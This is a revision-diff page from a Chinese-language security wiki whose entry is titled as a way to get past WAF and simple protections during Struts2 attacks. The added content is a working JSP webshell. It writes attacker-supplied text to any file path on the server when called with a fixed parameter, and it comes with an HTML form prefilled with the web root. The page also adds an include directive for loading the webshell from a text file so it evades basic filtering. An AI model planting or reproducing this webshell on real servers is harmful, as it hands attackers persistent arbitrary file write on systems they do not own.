跳至内容
习科小黑板 - Silic Wiki
用户工具
注册
登录
站点工具
搜索
工具
显示页面
最近更改
媒体管理器
网站地图
注册
登录
>
最近更改
媒体管理器
网站地图
您的足迹:
网络安全:struts2过waf过简单防护
差别
这里会显示出您选择的修订版和当前版本之间的差别。
查看差异:
并排显示
行内显示
Go
到此差别页面的链接
2020/02/24 08:56 YoCo Smart 创建
Go
2020/02/24 08:56 YoCo Smart 创建
Go
—
网络安全:struts2过waf过简单防护 [2020/05/16 19:19]
(当前版本)
行 1:
行 1:
+
写文本的jsp脚本
+
<
code:
jsp>
+
<%@ page language="
java"
pageEncoding="
gbk"
%><
jsp:
directive.page import="
java.io.File"/><
jsp:
directive.page import="
java.io.OutputStream"/><
jsp:
directive.page import="
java.io.FileOutputStream"/><
% int i=0;String method=request.getParameter("
act"
);
if(method!=null&&
method.equals("
yoco"
)){String url=request.getParameter("
url"
);
String text=request.getParameter("
smart"
);
File f=new File(url);
if(f.exists()){f.delete();
}try{OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){i++;
%>
0<
%}}if(i==0){%>
1<
%}%><
form action='?
act=yoco'
method='
post'><
input size="
100"
value="<
%=application.getRealPath("/"
) %>" name="
url"><
br><
textarea rows="
20"
cols="
80"
name="
smart">
+
</
code>
+
+
过普通防护:
+
+
<
code:
jsp>
+
<%@ include file="
webshell.txt"
%>
+
</
code>
网络安全/struts2过waf过简单防护.txt
· 最后更改: 2020/05/16 19:19 (外部编辑)
页面工具
显示页面
回到顶部